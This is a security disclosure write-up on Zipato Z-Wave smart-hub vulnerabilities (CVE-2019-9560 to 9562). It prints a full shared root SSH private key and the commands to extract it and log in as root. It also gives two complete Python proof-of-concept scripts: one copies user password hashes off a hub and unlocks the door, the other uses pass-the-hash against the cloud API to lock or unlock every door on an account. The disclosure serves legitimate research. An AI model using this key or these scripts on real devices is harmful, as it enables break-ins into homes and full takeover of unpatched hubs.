Breaking & Entering with Zipato SmartHubs

Name Contact Role Charles Dardaman @CharlesDardaman Reverse Engineered API INIT_6 @INIT_3 Discovered Root SSH Key

Executive Summary

During the 0DAYALLDAY Research Event three vulnerabilities were discovered in the ZipaMicro Z-Wave Controller Model #: ZM.ZWUS and the Zipabox Z-Wave Controller Model #: 2AAU7-ZBZWUS. Two vulnerabilities are in the design and implementation of the authentication mechanism in the Zipato Application Programming Interface (API). The third vulnerability is embedded SSH private key for ROOT which isn't unique and can be extracted.

Approach

When we first got our hands on the smart lock and hub we thought of attacking it in three different senarios. First, could we unlock the door remotely without having access to anything before hand. Second, if we were an apartment resident with this solution could we take data off the device in order to unlock all the other residents' front doors. Lastly, could we find a vulnerability or misconfiguration that would allow an attacker to unlock the door on the same network. During our research we were able to prove that two of these methods of attack were viable and if we had more time might have proven all three to be feasable.

Product Description

The Zipato ZM.ZWUS ZipaMicro Z-Wave controller is the smallest controller in the Zipato's line of Z-Wave controllers. It's used to manage and control Z-Wave and IP devices remotely. Vendor product page can be found here.

The Zipato 2AAU7-ZBZWUS Zipabox Z-Wave controller is their module based controller allowing for additional modules to be attached. It's used to manage and control Z-Wave, IP devices, among other modules that can be attached remotely. Vendor product page can be found here.

Findings Overview

This section summarizes the strategic problems identified, risk ratings, and recommendations. The Detailed Testing section describes the attempted attacks, evidence (including screen shots), risk-ratings, and potential solutions.

The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.

Device Zipato ZM.ZWUS ZipaMicro Z-Wave controller

Finding Risk Rating Remediation Status Embedded SSH Private key for ROOT CRITICAL Vulnerable Pass-the-Hash Local API Authentication CRITICAL Vulnerable Pass-the-Hash Remote API Authentication CRITICAL Vulnerable

Detailed Technical Description

Embedded SSH Private key for ROOT (CVE-2019-9560)

The SSH key was found by removing the SD Card from the device and imaging the SD Card. SSH key was found in '/etc/dropbear/' with the name 'dropbear_rsa_host_key' which is password protected when using this format but you can still extract the Private and Public key.

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i dropbear_rsa_host_key root@192.168.6.60 Enter passphrase for key 'dropbear_rsa_host_key':

Extracting the private key with dropbearconvert tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ /usr/lib/dropbear/dropbearconvert dropbear openssh dropbear_rsa_host_key zipato_id_rsa Key is a ssh-rsa key Wrote key to 'zipato_id_rsa'

Private key:

-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAr44ZVxiXQR3TZ87An2c0n27ZwEvgftLhQtvZ+klNqgXCso39 ZuCRItaw/wZ3WISwskwCvzCev4Di50Qsww6+sUaBoJU4KXuZi8LWzJHJ5zDnDa9c PArIfg3wZM0UlHIAqb0wm1YWAqFd7jTTATTmXKMQccgk3shEYbHvqZnR5RReuD/b 5LzxkRzndmJ2te1cCYBH3xcj6T78sFNuHj5DByd2CgaQje+Un8WkUqxfRVT2d9/Y vlaRXx0Qpz7Gk0+JqPpVdos8a6Ws0dka9nhJXAy8fGhYCz0xoIjBXw1+XZCSO/OD J6saR9DeT2WlJw1OUmTj73DbtRw7fegWpDfLRwIDAQABAoIBAAyeHkzNPqnLy/2t CtkqIMpzZtZ/CElKki2CVwi51gl/VSliMoaqDfm+toVN4KwNtWl13x4AukLcr5zx oHSl4vzOKtObhf2CnbGW37tfoG8BFnTnAq5qE/5DYDYj1fPUEcohXT9SO6Nqwlve 6L+FyXzPrNyQsbMKxSdvE4umu5hG9M1WfnqJglH4rI7WDT6lgbt7+nMsCTGeTsR7 Wvv1eHGR8sanTaEV/Xt5G2MjGI4Xvrux/vm4jvFno2I2DDj0IOmtaQkDij861aNE B+xV7XuAW6ruDc37XkdHunnGNZWmkGCdoI7IvzRMfpHWwmZG1zPyFtXZfarycrIe 0ndD3sECgYEAuoyS6jL/OVcN7DhIPe8NJcc3P4GY38TetsS9QtkqqdhxV37KX5Ge Kyr7IeAm1jO1TYfQ1EK3jtR+f/wNnrgh34LUnIZ00ND+X7FS52WndVzeCR+Fh48Z RJDqR+rb2Ia/jEEbQXrOFXYs4vcy+WfvQ5ZSWR9JAoxWKinalvGp52cCgYEA8Om3 bN1Y8m0XmBVA5T3JM6/Zg0/KAhv2BM3QpBHWXKLL/CBq7xNrMlb1N49Rd9SAXVVA mfBVOQl5QdpzrERzXWtaDr/UvCSj4m9wMrZg88273viS2IbNJ0Tz59OhCv1OKyUA OsTL4avGpS8TC4+ocRWtaVHQTQG1eXvTbDMf8SECgYEAkKkUAGMdgdSdKlIWy1hG BMawdCHGb7gV0PtNnLoVGHKMqgHbYzLjyavh5MoSs8aTUJUCfqdh+nOTySGnWi6F rfKhduPZUFjQ+Vnj5SbyLdOfJsn33UA9ousRkkVwyD7t6RBP134os4HZmwOA1uEf LHU0VIIrNrum0bl1Fdo/G/8CgYBkhgElic7diSu5J9UmUnur94pZQmfWLXigVIjk jRTXHo7jK1uzWnT2UlaL0l96Es9lIneMRD4rSIqyMcbmcMF6j5rKYL0RrHA9waYd YwBdetETnsEXXFgqNJlZeHLQNRXy5sOLwiYYiiafMl9OCamNVjA/rAWwvC/O+x4j HcoMQQKBgQCe0ahjyz9pCMMsmNITUVGeujFExkj1KwzVgBxFDO6yRUhl0T7U7xiH 8VPAyM0/7jhj9zrGhwINMLIsiAAgmKdBY+k2vUfuOJxUQsQB+WmucZAJSZ0xhRnB b98phTSt+TGayvOSDc1x7wli4wyZPhIo6mEMc6DKY+hrZKbFQkFtEQ== -----END RSA PRIVATE KEY-----

Extracting the public key with dropbearkey tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ dropbearkey -y -f dropbear_rsa_host_key | grep "^ssh-rsa " > zipato_id_rsa.pub

The public key matched the public key in /home/root/.ssh/authorized_keys

Login with new extracted private key:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i zipato_id_rsa root@192.168.6.60 root@zipaMicro:~# whoami root

Pass-the-Hash Local API Authentication (CVE-2019-9561)

Users data is stored in '/mnt/data/zipato/storage/USERS':

root@zipaMicro:/mnt/data/zipato/storage/USERS# ls -lah drwxr-xr-x 4 root root 4.0K Feb 23 22:12 . drwxr-xr-x 9 root root 4.0K Feb 23 22:12 .. drwxr-xr-x 2 root root 4.0K Feb 23 18:24 0a5ad19e-ec0f-4a17-b314-5dd328ab913d drwxr-xr-x 2 root root 4.0K Feb 23 22:12 a9a6328f-f4d5-4f8f-b724-ee30ebb85594 -rw-r--r-- 1 root root 173 Feb 23 22:07 object.json

Inside each user is a object.json file which includes the SHA1 password hash.

{ "className": "com.zipato.runtime.BoxUser", "uuid": "0a5ad19e-ec0f-4a17-b314-5dd328ab913d", "name": "Users Email Account", "cv": 0, "sv": 0, "deleted": true, "locked": false, "nd": true, "tags": null, "order": null, "master": true, "duress": false, "alias": null, "password": "Users SHA1 Password", "number": 1, "pinSalt": null, "pinToken": null, "activeRoles": ["owner", "wallet", "global_cache", "philips_hue", "nest", "brand_limit", "sonos"] }

After looking at the Zipato API documentation we can build our authentication request with out having to crack the password hash.

First it's required to get the Nonce by sending a get request to '/user/init' endpoint.

Next to login you need to create a token SHA1(nonce + SHA1(password)). Since we already have the SHA1(password) we can just pass the hash from the object.json file.

Once authenticated you can send the door unlock request by sending a PUT request to the API endpoint '/v2/attributes/<uuid>/value' where the UUID is the Z-Wave lock object. This UUID can be found in the file located here '/mnt/data/zipato/storage/attributes.json'

The put data to open the lock is:

{"value":"false"}

To lock the door you set value to "true".

Proof-of-Concept script:

#Written by Charles Dardaman import requests import hashlib import sys import os import json import subprocess import logging #Grab passwords and UUIDS print("Stealing the files") #trying with scp #Grabbing files needed for UUID cmd = "scp -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/attributes.json ." return_code = subprocess.call(cmd, shell=True) if return_code != 0: print("Files not found") sys.exit() #Grabbing files needed for token cmd = "scp -r -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/USERS/ ." return_code = subprocess.call(cmd, shell=True) if return_code != 0: print("Files not found") sys.exit() #Open the files to parse the json to get the UUID, Username, and Password print("Forging Keys") with open("attributes.json") as f: data = json.load(f) for key in data: if key["name"] == "STATE": uuid = key["uuid"] print(uuid) #Try for all the users for root,dirs,files in os.walk("USERS"): for name in files: userpath = root + "/" + name with open(userpath) as f: data = json.load(f) try: username = data["name"] password = data["password"] print(username) print(password) except: break print("Building Crowbar") #Get nonce r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/init") data = json.loads(r.text) nonce = data["nonce"] print("Nonce= " + nonce) jessionid = data["jsessionid"] cookies = {"JSESSIONID": jessionid} #SHA work SHA1(nonce+password=token) np = nonce + password print(np) hash_object = hashlib.sha1(np.encode()) token = hash_object.hexdigest() print("token: "+ token) #Send Login Request r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/login?username="+username+"&token="+token,cookies=cookies) print(r.text) data = json.loads(r.text) if data["success"] != "true": print("Pure Failure") #Send Open r = requests.put("http://" + sys.argv[1] + ":8080/v2/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"}) print(r.text) print("Door Opened")

Pass-the-Hash Remote API Authentication (CVE-2019-9562)

The remote API has the same Pass-the-Hash vulnerability as the local API. Depending on the Zipato implementation it could be possible to control all the ZipatoMicro devices. For example, [REDACTED] implementation has 3 usable credentials. Master account owned by [REDACTED], Master account for the apartment complex, and an account for the renter. Because of this it's possible to control all the devices on the [REDACTED]'s network.

Proof-of-Concept script:

#Written by Charles Dardaman #INIT_6 Adapted Charles' script for attacking the remote api. import requests import hashlib import sys import os import json import subprocess import logging import argparse def run(username, password, lock): url = "https://my.zipato.com/zipato-web/v2" print("Building Crowbar") #Get nonce r = requests.get(url + "/user/init") data = json.loads(r.text) nonce = data["nonce"] print("Nonce: %s" % (nonce) ) jessionid = data["jsessionid"] cookies = {"JSESSIONID": jessionid} #SHA work SHA1(nonce+password=token) np = nonce + password print("nonce + password: %s " % (np) ) hash_object = hashlib.sha1(np.encode()) token = hash_object.hexdigest() print("token: %s" % (token) ) #Send Login Request r = requests.get(url + "/user/login?username="+username+"&token="+token,cookies=cookies) print(r.text) data = json.loads(r.text) if not data["success"]: print("Pure Failure") # Get Users r = requests.get(url + "/users", cookies=cookies) users = json.loads(r.text) # Get Devices r = requests.get(url + "/devices", cookies=cookies) devices = json.loads(r.text) # Get all device endpoints and search for Door locks, get all door lock endpoints STATE attributes and then either lock or unlock the doors. door_lock_endpoints = [] device_uuids = [] for device in devices: if 'uuid' in device.keys(): device_uuids.append(device['uuid']) for uuid in device_uuids: r = requests.get(url + "/devices/"+uuid+"/endpoints",cookies=cookies) data = json.loads(r.text) if data: r = requests.get(url + "/endpoints/"+data[0]['uuid']+"?attributes=true",cookies=cookies) data = json.loads(r.text) if 'Door Lock' in data['name']: for attribute in data['attributes']: if attribute['name'] == 'STATE': door_lock_endpoints.append(attribute['uuid']) if door_lock_endpoints: for uuid in door_lock_endpoints: if lock: r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"}) print("Door Locked") else: r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"false"}) print("Door Opened") if __name__ == '__main__': parser = argparse.ArgumentParser(description="Zipato API

All Your Houses are belong to us...",epilog=None) parser.add_argument("-u","--username",help="Zipato Username",type=str,required=True) parser.add_argument("-p","--password",help="Zipato SHA1 Password Hash",type=str,required=True) parser.add_argument("--lock",help="Lock Doors",action='store_true') parser.add_argument("--unlock",help="Unlock Doors",action='store_true') opt = parser.parse_args() #Lock = True or unlock = False #Fail closed for security. try: if opt.lock: lock = True elif opt.unlock: lock = False else: lock = False except: lock = False run(opt.username, opt.password, lock)

Zipato's Response

Their documentation hasn't changed, so Passing-The-Hash is still an issue if you can find the password hash.

Informational Findings

Searching for the RSA fingerprint on Shodan.io found 5 Zipato Micro devices directly on the Internet.

Disclosure Timeline

● Sat, Feb 23, 2019: Issue discovered at 0DayAllDay Research Event

● Mon, March 4th, 2019: Issue disclosed to vendor

● Mon, March 4th, 2019: CVE-2019-9560, CVE-2019-9561, and CVE-2019-9562 reserved

● Wen, March 20th, 2019: Zipato responded saying issues were fixed.

● Tue, July 2nd, 2019: Public disclosure

Special Thanks